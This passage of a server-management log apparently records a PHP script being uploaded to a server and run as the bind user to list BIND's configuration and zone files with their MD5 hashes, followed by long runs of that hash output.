MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-26 06:00:02: Establishing a remote connection
2026-04-27 11:07:51: Establishing a connection
2026-04-27 11:07:51: 

PUT: /tmp/pkp313069

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-27 11:07:51: 

runuser -l bind -s /bin/bash -c '/tmp/pkp313069; rm /tmp/pkp313069'

2026-04-27 11:07:51: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-28 06:00:03: Establishing a remote connection
2026-04-28 10:18:55: Establishing a connection
2026-04-28 10:19:06: Establishing a connection
2026-04-28 10:19:06: 

PUT: /tmp/pkp342291

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-28 10:19:07: 

runuser -l bind -s /bin/bash -c '/tmp/pkp342291; rm /tmp/pkp342291'

2026-04-28 10:19:07: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
